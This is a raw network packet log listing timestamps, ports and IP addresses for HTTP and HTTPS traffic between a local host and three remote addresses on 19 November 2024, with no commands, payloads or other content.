Nov 19, 2024 01:01:45.600970984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.600976944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.600991011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.601011038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.621309996 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.621361017 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.621449947 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.621946096 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.621993065 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.622076035 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.622340918 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.622400045 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.622476101 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.622802019 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.622832060 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.622879982 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.623183012 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.623193979 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.623369932 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.623575926 CET	49962	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.623588085 CET	443	49962	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.623740911 CET	49963	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.623755932 CET	443	49963	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.624037981 CET	49964	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.624052048 CET	443	49964	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.624181986 CET	49965	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.624195099 CET	443	49965	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.624417067 CET	49966	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.624424934 CET	443	49966	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.628005981 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.628067970 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.628081083 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.628096104 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.628135920 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.629820108 CET	49949	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.629831076 CET	443	49949	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.633657932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633757114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.633764029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633774996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633786917 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633796930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633804083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633812904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633820057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.633824110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633852959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633862972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633865118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.633872986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633884907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633894920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.633902073 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.633917093 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.633933067 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634007931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634018898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634037018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634043932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634049892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634052992 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634061098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634072065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634085894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634099960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634129047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634151936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634161949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634171009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634181023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634197950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634202957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634203911 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634207964 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634219885 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634228945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634232044 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634243965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634244919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634253979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634264946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634275913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634279966 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634287119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634299994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634310007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634324074 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634330034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634344101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634354115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634355068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634366035 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634366989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634377956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634386063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634388924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634401083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634402037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634412050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634430885 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634434938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634447098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634457111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634460926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634469032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634479046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634481907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634490013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634490967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634500980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634511948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634522915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634522915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634532928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634542942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634550095 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634552956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634565115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634566069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634578943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634588957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634588957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634601116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634612083 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634612083 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634624958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634634972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634639978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634644985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634650946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634655952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634660959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634666920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634676933 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634700060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634715080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634738922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634764910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634776115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634784937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634795904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634824991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634851933 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634917974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634929895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634939909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634949923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634960890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634967089 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.634973049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.634991884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635019064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635047913 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635059118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635070086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635080099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635087967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635092974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635099888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635108948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635112047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635123968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635129929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635133982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635145903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635154963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635158062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635164976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635180950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635181904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635194063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635195971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635201931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635212898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635217905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635227919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635238886 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635240078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635250092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635260105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635270119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635272026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635276079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635293007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635298014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635318995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635338068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635669947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635680914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635689974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635704994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635713100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635716915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635724068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635727882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635739088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635749102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635754108 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635759115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635770082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635781050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635787010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635792017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635797977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635828972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635833979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635844946 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635854006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635869026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635879040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635889053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635894060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635899067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635904074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635912895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635915041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635926008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635931969 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635940075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.635948896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.635972977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636100054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636110067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636118889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636128902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636137962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636146069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636152029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636157036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636162043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636167049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636167049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636176109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636188030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636204958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636215925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636224985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636234999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636240005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636240005 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636250973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636259079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636262894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636274099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636285067 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636288881 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636296034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636307001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636311054 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636317015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636322021 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636329889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636339903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636348963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636352062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636369944 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636378050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636404991 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636622906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636632919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636639118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636643887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636651039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636656046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636662006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636667967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636673927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.636714935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.636734009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637048960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637059927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637068987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637080908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637092113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637103081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637104988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637114048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637124062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637135983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637135983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637152910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637162924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637178898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637185097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637185097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637195110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637207031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637207031 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637217999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637228966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637237072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637239933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637249947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637259007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637263060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637269020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637279987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637290001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637296915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637300968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637312889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.637317896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637326002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.637362957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.642981052 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.643109083 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.643160105 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.644177914 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.644248009 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.644263029 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.644325018 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.645231009 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.645312071 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.645904064 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.647790909 CET	49948	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.647804022 CET	443	49948	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.649379015 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.649455070 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.649470091 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.650165081 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.650347948 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.651599884 CET	49950	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.651607990 CET	443	49950	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.652523041 CET	49947	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.652540922 CET	443	49947	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.707254887 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.708530903 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.708550930 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.712101936 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.712177992 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.712527037 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.712696075 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.713013887 CET	49951	443	192.168.2.6	23.47.50.143
Nov 19, 2024 01:01:45.713022947 CET	443	49951	23.47.50.143	192.168.2.6
Nov 19, 2024 01:01:45.753571987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753659010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.753679991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753693104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753703117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.753712893 CET	80	49889	185.215.113.206	192.168.2.6
